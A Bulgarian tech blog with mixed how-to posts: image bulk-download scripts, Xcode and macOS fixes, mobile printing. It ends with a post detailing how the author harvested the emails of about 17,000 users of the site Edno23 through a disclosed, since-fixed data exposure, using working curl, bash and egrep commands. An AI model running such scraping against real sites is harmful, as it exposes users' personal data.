Как да смъкнем картинки от Google Images Search?

Ако някога ви се е налагало да смъквате много картинки от Google по зададена ключова дума трябва да сте били отегчени до смърт от цялото това кликане и записване. Наскоро и на мен ми се наложи и точно поради това намерих един скрипт и ще ви покажа как да го използвате.

var cont=document.getElementsByTagName("body")[0];
var imgs=document.getElementsByTagName("a");
var i=0;var divv= document.createElement("div");
var aray=new Array();var j=-1;
while(++i<imgs.length){

  if(imgs[i].href.indexOf("/imgres?imgurl=http")>0){
divv.appendChild(document.createElement("br"));
aray[++j]=decodeURIComponent(imgs[i].href).split(/=|%|&/)[1].split("?imgref")[0];
divv.appendChild(document.createTextNode(aray[j]));
}
}
cont.insertBefore(divv,cont.childNodes[0]);

Как  да го използваме?

  1. Отваряме любимия си браузър и започваме да търсим по картинка.
  2. Когато се заредят снимките натискаме нейде десен бутон на мишката -> Inspect Element и отиваме на таба „Console“
  3. Копираме  скрипта отгоре и го поставяме там. Натискаме Enter. На някой браузъри може първите няколко резултата да са подпъхнати под хедъра. Махаме хедъра който пречи.
  4. Намираме всички линкове, копираме ги във нов текстов файл. Запазваме текстовия файл примерно като list.txt
  5. Изпълняваме една от следните команди във команден ред:
    wget -i list.txt
    cat file-with-list-of-urls.txt | xargs -n 1 curl -LO
    cat file-with-list-of-urls.txt | xargs -n 1 -P 10 curl -LO
    .
    Резултата и от трите команди е, че файловете се смъкват локално на компютъра. Ако първите две смъкват файл по файл то последната смъква по 10 файла наведнъж.

Така процеса е полу-автоматизиран и много по-бърз.

Допълнение от Владимир Василев за което се бях сетил, но съм го пропуснал:
Внимавайте за лицензите! Това, че смъквате изображенията не означава, че имате права върху тях самите. Ако искате да ви бъдат показани само такива изображения със съотвените лицензи ползвайте инструментите на търсачката. Безразборното използване на чужди изображения без необходимите права върху тях може да ви докара правни проблеми със собственниците на правата.

google images лицензи

Затова ако ще използвате снимките някъде проверете лицензите преди това.

SaveSave

Как да смъкнем картинки от Google Images Search?

Страната на съветите

От много време все някой ме спира или иска съвет по нещо си. Което е изморително от психическа гледна точка, защото трябва да изслушаш човека, да вникнеш във проблема му и чак тогава да му дадеш съвет. Което разбира се отнема време, но все пак се почва „аз само за малко“. Та винаги се сещам за бруталния руски виц:

Мальчик пас стадо баранов, а когда он заснул,бараны разбежались. Мальчик пошел искать стадо и у подножия горы увидел пожилого человека.“Не видели ли вы,дедушка моих баранов?““Нет,мальчик,не видел,но я дам тебе совет-поднимись выше в гору, там сидит мой отец,он все знает…“ Мальчик поднялся выше и,увидев следующего старика, спросил и у него о баранах. „Нет,дорогой, я их не видел.Но я тоже дам тебе совет- поднимись еще выше…“На самой вершине горы сидел глубокий старик.“Нет ли здесь моих баранов?“-спросил мальчик. „Нет, баранов нет, но есть добрый совет….“ „Что вы все мне даете советы? Мне нужны бараны,а не советы!“ „Дорогой , ты забыл , в какой стране живешь! У нас не страна баранов, а Страна Советов!“

Та се превръщам във страната на съветите.

Страната на съветите

Xcode documentation error

От известно време виждам само това докато се опитвам да инсталирам документацията:

Could not download and install Guides and Sample Code. An unexpected error occurred while moving files to the final destination.

А решението се оказа много просто

cd ~/Library/Developer/Shared/
rmdir Shared/
mkdir Shared
cd Shared/
mkdir Documentation
cd Documentation/
mkdir DocSets
cd DocSets/

И край на проблемите ми със инсталирането на документацията. Всичко само защото пътя до DocSets е бил със объркани права

Xcode documentation error

Принтиране от мобилно устройство

Използването на принтер от мобилно устройство било то таблет или телефон е лесно когато имате принтер със такава поддръжка. Обикновенно тези принтери разполагат със връзка към безжична мрежа и (ама разбира се!) съответно са малко по-скъпи. Проблема възниква когато разполагате със по-стар принтер който е или само жичен (USB или Centronics) или принтер със безжична поддръжка, но по-стар модел. Сега ще ви покажа как да се преборите със тази житейска несправедливост.

Печатане от Android

Под Android проблемите се решават сравнително по-лесно със Google Cloud Print. Изисква се браузър Chrome и регистриране на принтера във облака. Така можете да принтирате от целия свят на вашия принтер. Разбира се има уловка – трябва да се логнете във мобилното устройство и във Chrome със един и същи потребител. Ето и процедурата:

  • Регистрираме принтера на настолния компютър тук chrome://devices/
  • На мобилното устройство инсталираме Cloud Print

И общо взето е това. Има няколко благинки:

  • можем да използваме принтера от друг компютър. Хитрото е, че принтера тогава може да се намира във друг град, страна и даже континент. Разбира само от Chrome
  • можем да си закупим по-модерен принтер със поддръжка на Google Cloud Print. Текущите модели са налични ето тук
  • можем да наблюдаваме заявките през интернет оттук
  • можем да печатаме документи от Google Drive директно
  • можем да печатаме директно към CUPS под Linux със използване на специализиран драйвер за него. Кода на драйвера може да бъде взет оттук или да използвате прекомпилиран пакет оттук

И тъжната новина – връзката става само и единственно през интернет. Ако няма интернет дори и във същата стая да се намира принтера ако не е вързан със кабел към компютъра ще е просто неизползваем. Същото важи и за мобилното устройство – дори и да е във същата безжична мрежа. Ако няма интернет няма да може да използва принтера.

Печатане от iOS

Под iOS нещата са малко по-различни. Тук най-лесния и удобен начин е когато принтера поддържа AirPrint през протокола Bonjour. Ако нямаме такъв принтер разбира се ще си го емулираме:

  • инсталираме HandyPrint на macOS оттук. Под Windows ще трябва да се хакне ето така или оттук със по-новата версия. Отделно под Windows ще се наложи да инсталирате и Bonjour Print Services оттук.
  • на мобилното устройство избираме иконката за споделяне (share) и ако приложението поддържа AirPrint принтера ще се появи във списъка. Няма никакви настройки

Сега малко особенности:

  • принтера трябва да се намира във същата локална мрежа със мобилното устройство
  • няма функция печатане през интернет
  • може да се печата дори и когато интернет липсва във локалната мрежа
  • ако имате принтер свързан със AirPort Extreme или AirPort Express то самия принтер трябва да поддържа AirPrint за да можете да го ползвате. Официален списък на поддържаните принтери през AirPort има тук и неофициални тук и тук. Но ще трябва да проверите дали и принтера поддържа AirPrint иначе от мобилно устройство няма да можете да го видите и използвате
  • може да се ползва CUPS и да се емулира подобен принтер. За повече информация как – тук, тук и тук

Разбира се това са официалните начини. Има и алтернативи. Hewlett Packard поддържат стандарта ePrint използващ техните устройства. FedEx имат мобилно принтиране също тук – като след отпечатването можете да изберете да минете през техен офис за да го вземете или те да ви го доставят. Можете да използвате Printer Pro – оттук или някое от многобройните алтернативни приложения. Можете да видите дали производителя на принтера ви няма приложение: Samsung, Canon, Epson или други.

Както виждате – има богат избор вече на пазара. А само преди няколко години използването на принтер от мобилно устройство беше мит. Вече е реалност.

Принтиране от мобилно устройство

ET Legacy и macOS Sierra проблем

Човек и добре да живее минава на по-нова версия на операционната система. Част от проблемите от новата версия е, че ETLegacy спря да работи поради липсата на файлове. Всъщност аз ги виждам през файловата система, но приложението не.

FS_InitFilesystem: Original game data files not found.
Please copy pak0.pk3, pak1.pk3 and pak2.pk3 from the ‘etmain’ path of your Wolfenstein: Enemy Territory installation to:
„/private/var/folders/ph/72hb8_ds1cg98mvs4xb61c9w0000gn/T/AppTranslocation/55316FBE-BCC2-43C9-B1DC-817D7B012C32/d/etmain“

Разбира се при вас цифрите може да са малко по-различни. Може да отказва да зареди и заради липсата на файла librenderer_opengl1_mac въпреки, че го има. Проблема се оказва новата защита на приложения във macOS (Gatekeeper path randomization) и решението е сравнително лесно. Трябва само да отворите терминал и да изпишете следните команди:

cd /Applications/
xattr -dr com.apple.quarantine ET\ Legacy/

след което можете да си пуснете играта.

ET Legacy и macOS Sierra проблем

HTTP debugger

Понякога човек се нуждае от услуги който надежно да използва докато праща заявки нагоре-надолу към други услуги. Разбира се… не винаги може да се дебъгне точно какво и как се изпраща нагоре, особенно когато заявките са криптирани.

И тук на помощ идва HTTPBIN. Със негова помощ може доста по-лесно да се диагностицират заявките и да се преработят.

HTTP debugger

Иван Абаджиев Старшията

Страхотно интервю със Иван Абаджиев – Старшията от 3 части:

Иван Абаджиев Старшията – част 1
Иван Абаджиев Старшията – част 2
Иван Абаджиев Старшията – част 3

Благодаря на Мартин Гергов че ми показа първата част.

Иван Абаджиев Старшията

Последният войнишки император

Тъй като напоследък не съм се разписал, но непрекъснато чета това и онова е време да започна да ги складирам нейде. И времето дойде.

Последният войнишки император – част 1
Последният войнишки император – част 2
Последният войнишки император – част 3

Общо взето се чете на един дъх и е много завладяващо. Няма да ви развалям удоволствието със разкрития какво се случва. Само става въпрос за иманяри и императори.

Последният войнишки император

Хакване на Edno23

Важно 2: Във curl командите за вход е отстранена малка грешка.

Важно 1: По-малко от час след написването на настоящето проблема беше отстранен. Благодарим на администрацията за бързата реакция.

Лятото на 2014 забелязах, че във мобилната версия на Edno23 има особенност която позволява да се види мейла на кой-да-е потребител във системата. Алармирах администрацията на сайта които ми отговориха, че това било от темата и били знаели за него. Изчаках търпеливо няколко (9) месеца, но проблема си стоеше неотстранен. И една вечер ми хрумна да им смъкна всичките мейли на регистираните им потребители. Сега ще ви покажа как беше реализирано всичко това за 5 минути.

Първата задачка беше да се смъкнат списъците на всички налични потребители. Списъка на всички потребители се намира тук:
http://edno23.eu/members
но има и 2,3 и общо 713 страници:
http://edno23.eu/members/tab:all/pg:2
http://edno23.eu/members/tab:all/pg:3
http://edno23.eu/members/tab:all/pg:4

http://edno23.eu/members/tab:all/pg:713

Това се изпълнява много лесно само със един ред:

curl http://edno23.eu/members/tab:all/pg:[1-713] -o "profiles-pg#1.txt"

При това не е необходимо човек да бъде логнат във сайта за да достъпи този списък. След операцията във папката ще има сумарно 713 текстови файлове със съдържанието на потребителите. Във всеки един от текстовите файлове има до 24 потребителя. След бърз преглед установяваме как линковете към потребителите имат добавен клас groupname или groupavatar. За наша радост egrep има удобна фукнция за филтриране на файлове на базата на regex шаблон:

egrep -h -o "http://edno23.eu/.*\" class=\"groupname\"" profiles-pg*.txt

разбира се извеждането във конзолата е леко досадно затова си го пренасочваме към файл ето така:

egrep -h -o "http://edno23.eu/.*\" class=\"groupname\"" profiles-pg*.txt > full-list-users

след което трябва да отворим файла full-list-users и да премахнем ето това
“ class=“groupname“
от всички редове и честито. Току-що получихме списък на линковете към профилите на всички потребители на сайта.

Втората задачка беше да вземем самите мейли от всеки един потребител. Тук вече късмета малко ми поизневери. Трябваше да намеря начин да вляза във сайта за да мога да смъкна информацията. За моя радост curl имаха решение и на този проблем:

curl -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

така правим посещение на логин формата. Сега ще въведем потребителското име и паролата:

curl --data "email=EMAIL&password=PASSWORD&rememberme=1" -o login.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" http://edno23.eu/m/

Съдържаниято на login.txt трябва след горната операция трябва да има линк към:

http://edno23.eu/m/dashboard

Което е сигурен сигнал, че сме влезли напълно редовно и можем да започнем със събирането на информацията ни. Нека сега да направим и автоматизация смъкването на информацията:

#!/bin/bash
echo enter file name
read fname
exec<$fname
while read line
do
AFTER_SLASH=${line##*/}
echo $AFTER_SLASH
url="http://edno23.eu/m/${AFTER_SLASH%%\?*}/show:info"
curl -o $AFTER_SLASH.txt -b ./my_cookies.txt -c ./my_cookies.txt -A "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" $url
done

Горния bash скрипт се записва като dump_users.sh. Дават му се права за изпълнение (chmod +x dump_users.sh) и си го изпълняваме. Скрипта ще помоли за име на входния файл със потребителите при което му подаваме файла full-list-users като вход и започва голямото смъкване. Ако цялата операция премине успешно ще имаме папка със около 17000 файла със шаблона username.txt. Това ще трае може би няколко часа във зависимост от интернет достъпа ви, затова се въоръжете със малко търпение.

Третата задачка беше най-сладката… да съберем мейлите от вече смъкнатите профили:

egrep -h -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" *.txt

тук обаче се натъкваме на нов проблем. Някой от файловете имат мейла два пъти което лесно се фиксира със един sort -u:

egrep -h -o "\b[a-zA-Z0-9.-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9.-]+\b" *.txt | sort -u

Както сами виждате няма нищо сложно във горните команди. На практика не са нищо повече от извикване на curl, egrep и bash със няколко параметъра, което е доста добре за потребителите на *nix и клонинзите. Ако работите под Windows навярно ще трябва да използвате bash от Cygwin или със лека преработка PowerShell. Разбира се аз няма да ви дам на готово списък със мейлите на потребителите. И най-забавното във целия случай е че според правилата на сайта описани тук http://edno23.eu/terms всичко си е напълно коректно:

Запазваме правото си да деактивираме или изтриваме профили, направени изцяло с рекламна цел. Извиняваме се, но никой не ги иска на този етап, включително и ние.
Хакване на Edno23